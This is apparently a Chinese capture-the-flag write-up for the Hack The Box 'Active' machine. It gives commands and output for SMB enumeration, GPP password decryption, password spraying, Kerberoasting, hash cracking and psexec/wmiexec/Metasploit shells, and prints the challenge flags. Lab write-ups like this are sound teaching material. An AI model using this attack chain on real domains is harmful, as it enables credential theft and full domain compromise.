HTB:Active[WriteUP]

目录

连接至HTB服务器并启动靶机

1.How many SMB shares are shared by the target?

使用nmap对靶机TCP端口进行开放扫描

2.What is the name of the share that allows anonymous read access?

使用smbmap通过SMB服务对匿名用户共享权限情况进行扫描

3.Which file has encrypted account credentials in it?

4.What is the decrpyted password for the SVC_TGS account?

使用gpp-decrypt对密文进行解密

5.Submit the flag located on the security user's desktop.

尝试密码喷洒

使用smbmap扫描该用户在SMB服务器中的共享权限情况

USER_FLAG:0af81caa30c5035d17536a1bd480813b

6.Which service account on Active is vulnerable to Kerberoasting?

7.What is the plaintext password for the administrator account?

使用john对Kerberos凭证进行破解

8.Submit the flag located on the administrator's desktop.

首先尝试使用evil-winrm通过该凭证连接至靶机

尝试通过psexec.py脚本登录

尝试通过wmiexec.py脚本登录

启动Metasploit

ROOT_FLAG:d0eb95acc69ddffee46a6abe5b0a97fd


连接至HTB服务器并启动靶机

靶机IP:10.10.10.100

分配IP:10.10.16.7


1.How many SMB shares are shared by the target?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- -sS --min-rate=1500 -T5 -Pn 10.10.10.100 | tee res.txt

提取出开放端口号

ports=$(cat res.txt | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

对靶机开放端口进行脚本、服务扫描

nmap -p$ports -sCV 10.10.10.100

使用smbclient工具列出靶机的SMB中所有共享

smbclient -L //10.10.10.100

提示输入root用户密码,尝试空密码进入


2.What is the name of the share that allows anonymous read access?

使用smbmap通过SMB服务对匿名用户共享权限情况进行扫描

smbmap -H 10.10.10.100


3.Which file has encrypted account credentials in it?

使用smbclient连接至靶机SMB服务器中的Replication共享

最后找到Groups.xml在该目录下

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\

将其下载到本地

get Groups.xml

查看该文件内容

cat Groups.xml


4.What is the decrpyted password for the SVC_TGS account?

这串字符看起来像BASE家族的东西,我直接扔进CyberChef

账户:SVC_TGS

密码:Triplet too large: 'Z+O'

果然解密后看起来就不像密码,交上去果然是错的

我尝试问AI:

若一个文件的路径如下:\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> Groups.xml。那么它里面内容的加密方式很可能是?

1. **分析文件路径相关线索**
   - 从文件路径`\Policies\{31B2F340 - 016D - 11D2 - 945F - 00C04FB984F9}\MACHINE\Preferences\Groups\> Groups.xml`可以推测这个文件可能与系统策略或者配置相关。
   - 在Windows系统环境下,这样的文件路径通常与组策略(Group Policy)有关。组策略是用于管理和配置Windows系统中的用户和计算机设置的一种机制。

2. **推测加密方式**
   - **基于组策略加密**:在Windows组策略中,涉及到一些敏感信息(如密码等)的存储时,可能会使用微软自己的加密方式,例如微软的可逆加密(在前面关于`cpassword`的讨论中有提及)。如果`Groups.xml`文件中包含用户账户相关的密码信息,如服务账户密码用于在系统策略环境下的自动化操作,那么很可能是微软可逆加密。
   - **基于XML加密标准**:由于文件是XML格式,也有可能采用XML加密标准。XML加密提供了一种对XML元素或整个XML文档进行加密的方法。它使用标准的加密算法,如AES(高级加密标准)、RSA(非对称加密算法)等来加密内容。这种加密方式可以保护XML文档中的敏感信息,如用户权限、配置参数等。如果文件包含需要在网络传输或者存储过程中保护的敏感配置数据,那么很可能采用XML加密标准中的相关算法进行加密。
   - **未加密或简单编码**:当然,文件内容也有可能没有经过加密,只是进行了简单的编码。例如,使用Base64编码来隐藏内容的真实格式,但这种编码不是加密,很容易被解码。如果文件中的内容主要是用于配置信息的存储和读取,且不需要高度保密,那么可能只是简单的编码。

综上所述,文件内容可能是微软可逆加密、XML加密标准中的算法加密,也有可能只是简单的编码或者未加密。具体的加密方式需要进一步查看文件内容的格式、其中包含的元素特征等细节来确定。

最后经过一番搜索,又看了官方WP才知道要用gpp-decrypt

`gpp-decrypt`工具的主要作用是用来破解微软组策略偏好(Group Policy Preferences,GPP)中加密的密码信息。以下是其具体的作用和相关原理:
1. **针对特定场景的数据提取与破解**:
    - **提取用户名和密码信息**:在 Windows 的组策略管理中,管理员可以使用组策略首选项来配置各种系统设置,例如远程创建本地账户等操作。这些操作会生成一个 `groups.xml`文件,该文件中包含了创建的用户名和对应的加密密码(存储在 `cpassword`属性中)。`gpp-decrypt`工具能够解析这个 `groups.xml`文件,从中提取出用户名和加密后的密码。
    - **破解加密密码**:对于提取出的加密密码,`gpp-decrypt`会使用特定的算法进行解密。在 Windows 2008 及以前的版本中,虽然管理员账号和密码在下发时是经过 AES 加密的,但加密密钥曾被微软官方支持技术网站泄露。利用这个已知的密钥信息,`gpp-decrypt`工具可以将加密后的密码还原为明文,从而获取到原本的密码信息。
2. **在安全审计和漏洞利用中的应用**:
    - **安全审计方面**:系统管理员或安全审计人员可以使用 `gpp-decrypt`工具来检查组策略配置中是否存在潜在的安全风险。例如,检查是否有未经授权的用户利用组策略漏洞创建了具有高权限的本地账户,或者查看已有的账户密码是否被正确加密和保护。
    - **漏洞利用方面**:攻击者可能会利用 `gpp-decrypt`工具来获取系统的更高权限。如果攻击者能够访问到包含 `groups.xml`文件的系统或网络位置,就可以使用该工具破解密码,进而获得本地管理员权限或其他高权限账户的访问权限,这是一种常见的 Windows 系统提权方法。

总之,`gpp-decrypt`工具在 Windows 系统的安全管理和漏洞分析中具有重要的作用,但同时也需要注意该工具的使用必须在合法的授权范围内,以避免违反法律法规。

使用gpp-decrypt对密文进行解密

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

解密后的凭证

账户:SVC_TGS

密码:GPPstillStandingStrong2k18


5.Submit the flag located on the security user's desktop.

我尝试利用上文拿到的用户凭证,通过靶机SMB服务扫描靶机系统用户并将结果保存到users.txt

crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --rid-brute | grep SidTypeUser | tee users.txt

提取出用户名

cat users.txt | cut -f 2 -d '\' | cut -f 1 -d ' ' | tee users.txt

尝试密码喷洒

crackmapexec smb 10.10.10.100 -u users.txt -p 'GPPstillStandingStrong2k18'

使用smbmap扫描该用户在SMB服务器中的共享权限情况

smbmap -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -H 10.10.10.100

使用smbclient连接到Users共享

smbclient -U SVC_TGS%GPPstillStandingStrong2k18 //10.10.10.100/Users

cat user.txt

┌──(root㉿kali)-[/home/…/Desktop/tool/impacket/examples]
└─# cat user.txt                                                              
0af81caa30c5035d17536a1bd480813b

USER_FLAG:0af81caa30c5035d17536a1bd480813b


6.Which service account on Active is vulnerable to Kerberoasting?

获取与当前用户有关的SPN相关信息

python GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18

可见SPN:Administrator这意味着我们能直接读取它的凭证


7.What is the plaintext password for the administrator account?

因为之前一直使用的是SG结点,所以这里要切换到US结点以同步Kerberos时钟

否则会报错:Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

python GetUserSPNs.py -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request

将Administrator凭证哈希值截取出来

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$5d6a91b199e683a05bd20a2a66a18e7a$cd69bda4afad4de69ce794f74f0adb7b3f59ac6c93f2033ee70e1b2659cb9d7ee16a8c0d385fdfb8bad94f5d485c5bad282c837f494c43a62cfaa3edd28e9557efcddb3fd0d6522f191ed46d6bb3877609eb5522514ae4ee7851f1ec69d12c8f3b792cd1b05c5c86b374542cfbfa7af9bdfb2103715e1f183aa697cbd027875e5f605d9eb617bac84ffe1a06f61e909797b0d0b3ed6bff5b4f474e57a073480b36e330f9827361d9826d8ac5befbdecddeb949cdc6e0c1bdd40e77e5b2227eedb654febf57808a44af774beacfd2d8195a8cdbe3db1854d3b2712793d214a9dfcbb38e1bc3a8b701c537bf8043c604a6cff05090276afcb1d016dc7146a245f18e21cd0dcc1f2382be6b1c477f33d4461923b2890b343b725851bd31c41ecdda7203f6d1352f869531b0c5b0cc18e0becb3948d621aa737f0177e99ce99802fb6b68bb9285bc25a7e6902fb6212d1b2f8124189333420df39e406beced58db9b9c61b9bff518a5087cd285d19bba0ab57bf250cc3f8d80875e9eb9c6a0f4bec0a5cbe0b339b0347eed3c3f19c74ad3561e87070354ec1263254cedb748fc618d3a2e2181ab8b53ddeca6547a19bdda183afbfbab298aa4a9ca48ff5e04a7f3bc8d5f1c6077e961b9fe9d60934b76baaf824996ec14f210978e05f3c65109655d7ebc6e125f4c8b68332972b2a35f9fa6a42e97289741135e46f26b436f352be7d85eba81f543afc7291fc4172491f821fe5526764e056074d00935cc087ac9ce859b9f42f7d1537700167afae575c2a7cc6a67eed4b4e24b64d3ee9ec78ed264a0f4edd1fb37eabf7f0462e43ea5b244d6b09c0c316782b5074f0bc4abcd9ae6c7caa06cf66cf3cb57cbe8ae69f148e94b954b887c530f54827ce07effcba29efb2e1444ab0adc6b83ce07c5053a357e076c95688c26064bc1bd01f3366c5b05d3943419c9de80a4b32fdcfcfd68c57685727dcfaf48c0593b0d8b2a25ae22dc0652762c682248d1d2a30864839fe0503804ad32940d22855bf6aa307c77377f9ea1bc34259f23f380f9bc51d392cc3620defb1e8826a0bb041cd0149bc95dfb2443f601f6b40b7774a47f71638aead6940bebbb7857b0eec384bcf2ff6357ada81dcd2dc4958e6c9d2e648eb70d359452e262329c8ac5db205d48f7a7925bb026ff5e60ba597309c353cbb2c20cc40126cb10e93ba981f93cf6bca6f9081561a5167731f9845a670d202b8b007e642e3ba63b5664c92e47cd83

使用john对Kerberos凭证进行破解

john hash --wordlist=../dictionary/rockyou.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# john hash --wordlist=../dictionary/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)     
1g 0:00:00:08 DONE (2024-11-13 20:54) 0.1176g/s 1239Kp/s 1239Kc/s 1239KC/s Tiffani1432..Thing1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

账户:Administrator

密码:Ticketmaster1968


8.Submit the flag located on the administrator's desktop.

首先尝试使用evil-winrm通过该凭证连接至靶机

evil-winrm -i 10.10.10.100 -u Administrator -p 'Ticketmaster1968'

尝试通过psexec.py脚本登录

python psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100

尝试通过wmiexec.py脚本登录

┌──(root㉿kali)-[/home/…/Desktop/tool/impacket/examples]
└─# python wmiexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
active\administrator

启动Metasploit

msfconsole

搜索psexec模块

search psexec

使用该模块

use exploit/windows/smb/psexec

需要配置选项:LHOST、LPORT、RHOSTS、SMBDomain、SMBPass、SMBUser

查找root_flag位置

search -f root.txt

meterpreter > search -f root.txt
Found 1 result...
=================

Path                                     Size (bytes)  Modified (UTC)
----                                     ------------  --------------
c:\Users\Administrator\Desktop\root.txt  34            2024-11-13 20:39:13 -0500

切换到终端

shell

查看root_flag内容

meterpreter > shell
Process 2952 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
d0eb95acc69ddffee46a6abe5b0a97fd

ROOT_FLAG:d0eb95acc69ddffee46a6abe5b0a97fd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/16408.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

vue3【组件封装】S-icon 图标 ( 集成 iconify )

1. 安装依赖 npm i -D iconify/jsonnpm i --save-dev iconify/vue2. 组件封装 src/components/S-icon.vue <script setup lang"ts"> // 搜索图标 https://icon-sets.iconify.design/ import { Icon } from iconify/vue defineProps({icon: {type: String,requ…

AI视觉小车基础--1.开发前的准备

1. 结束开机大程序 为了能够方便体验小车的APP功能&#xff0c;系统中增加了一个程序&#xff0c;此程序集合了APP的控制功能和玩法&#xff0c;所以称做“大程序”&#xff0c;而且在主板系统开机时&#xff0c;此程序会自动启动&#xff0c;所以称做“开机自启动大程序”。 开…

6.传输层协议、ACL

TCP和UDP协议 TCP/IP协议组的传输层协议 TCP(Transmission Control Protocol ) 传输控制协议 UDP&#xff08;User Datagram Protocol &#xff09; 用户数据报协议 TCP协议 TCP是面向连接的、可靠的进程到进程通信的协议 TCP提供全双工服务&#xff0c;即数据可在同一时间双…

避免数据丢失!在NAS上保存Docker容器配置的正确姿势

引言 如果你使用NAS来管理家庭或小型企业的数据,那么Docker容器一定不陌生。它能快速部署各种应用,比如Jellyfin、Plex等多媒体服务器。然而,很多人却踩过一个坑:NAS关机重启后,Docker容器的配置居然丢了!辛苦搭建的环境瞬间化为乌有。别担心,今天就来分享一套实用的技…

【Java的动态代理】

Java中有两种实现动态代理的方式jdk动态代理和CGLIB动态代理 jdk动态代理: 基于接口的动态代理, 目标对象必须实现接口cglib动态代理: 基于字节生成技术(ASM代码生成库), 能在运行时对java类和接口进行扩展实现 那么动态代理这个技术到底能帮我们干啥? 个人感觉这个技术在框…

python怎么安装numpy

1、在python官网https://pypi.python.org/pypi/numpy中找到安装的python版本对应的numpy版本。 例如&#xff1a; python版本是&#xff1a; 下载的对应numpy版本是&#xff1a; 2、将numpy下载到python的安装目录下的scripts文件夹中&#xff1b; 3、然后在cmd中执行以下命…

计算机三级 数据库技术

第一章 数据库应用系统开发方法 1.1 数据库应用系统生命周期 软件工程:软件工程的思想&#xff0c;即用工程的概念、原理、技术和方法对软件生产、开发的全过程进行跟踪和管理 软件开发方法:瀑布模型、快速原型模型、螺旋模型 DBAS生命周期模型 1.2 规划与分析 系统规划与定…

网络编程套接字2

之前我们已经介绍了UDP套接字流程&#xff0c;接下来我们介绍TCP流套接字编程&#xff0c;TCP的一个核心特点&#xff0c;面向字节流&#xff0c;读写数据的基本单位就是字节。 1.API介绍 1.1ServerSocket:是创建TCP服务器Socket的API&#xff08;专门给服务器用&#xff09;…

偌依-防重复提交

其中的使用工具类可去偌依的代码中查找 需要配合 springboot自定义过滤器构建可重复读取inputStream的request&#xff08;来源若依&#xff09; springboot自定义过滤器构建可重复读取inputStream的request&#xff08;来源若依&#xff09;-CSDN博客 定义注解 package co…

3D 数组插值 MATLAB

插值是一种根据现有数据点创建的趋势查找查询数据点值的方法。MATLAB 提供了许多选项来对 N 维数据执行插值。 在本文中&#xff0c;我们将讨论如何借助一些示例在 3D 数组中插入数据。我们将使用 MATLAB 的 interpn&#xff08;&#xff09; 函数来执行插值。 语法 vq interp…

如何在Typora中绘制流程图

如何在Typora中绘制流程图 在撰写文档时&#xff0c;清晰的流程图能极大地提升信息传递的效率。Typora是一款优秀的Markdown编辑器&#xff0c;支持通过Mermaid语法快速绘制流程图。本文将介绍如何在Typora中创建和自定义流程图&#xff0c;帮助你用更直观的方式呈现逻辑结构和…

SpringBoot集成Redis(全流程详解)

前言 通过在SpringBoot中集成Redis&#xff0c;详细梳理集成过程。包括SpringBoot启动过程中&#xff0c;容器的刷新、自动配置的流程、各类注解的处理。 类比在纯Spring中集成Redis&#xff0c;体验SpringBoot自动配置给开发带来了哪些便利。 一、测试样例 1.1配置文件 a…

机器人控制技术、传感器技术、Wi-Fi无线通信技术、AI视觉应用教学和实训: 智能小车车臂教学平台

1、基本介绍 智能车臂教学平台在硬件上采用模块化设计&#xff0c;主控板、运动车体、机械臂、各类传感器等都可以进行拆卸操作&#xff1b;在接口上&#xff0c;采用标准拔插式设计&#xff0c;减少接线&#xff0c;方便组装。使用Wi-Fi与控制软件进行通信&#xff0c;支持遥…

ssm113ssm框架的购物网站+vue(论文+源码)_kaic

毕 业 设 计&#xff08;论 文&#xff09; 题目&#xff1a;网上超市系统设计与实现 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本网上超市系统就是在这…

C++ 里面散发的咖喱味儿 - Currying函数式编程

C 里面散发的咖喱味儿 - Currying函数式编程 大家好&#xff0c;最近几篇都在聊C里面的函数式编程&#xff0c;今天我们继续就某一个点来深入聊一下&#xff0c;来聊聊在 C 中如何使用 std::bind 来实现函数式编程&#xff0c;尤其是柯里化&#xff08;Currying&#xff09;这…

【Gitee版】一篇教你如何快速入门git(详解)

前言--区分Git与Gitee Git 是一个强大的分布式版本控制系统&#xff0c;用于管理源代码。市面上有很多基于git的仓库网站&#xff0c;例如&#xff1a;GitHub、Gitee、GitCode等&#xff0c;它们之间的关系就好像是&#xff1a;git为基类&#xff0c;剩余为子类的样子。使用的…

Linux系统编程学习 NO.11——进程的概念(2)

谈谈进程的性质 进程的竞争性 由于CPU资源是稀缺的,进程数量是众多的。不可避免需要造成进程排队等待CPU资源的动作&#xff0c;内核的设计者为了让操作系统合理的去调度这这些进程&#xff0c;就产生了进程优先级的概念。设置合理的进程优先级能让不同进程公平的去竞争CPU资…

灵神 刷题DAY1

Python与java的刷题的区别 1. Python没有分号 2. Python不能return的时候赋值 3. Python没有小括号和花括号 4. Python的循环很奇怪&#xff0c;没有for(int i0;i<32;i)这种形式 而是直接用的是for i in range(n)这种 5. Python中没有 6. Python中没有&& 是an…

Nginx中使用keepalive实现保持上游长连接实现提高吞吐量示例与测试

场景 HTTP1 .1之后协议支持持久连接&#xff0c;也就是长连接&#xff0c;优点在于在一个TCP连接上可以传送多个HTTP请求和响应&#xff0c; 减少了建立和关闭连接的消耗和延迟。 如果我们使用了nginx去作为反向代理或者负载均衡&#xff0c;从客户端过来的长连接请求就会被…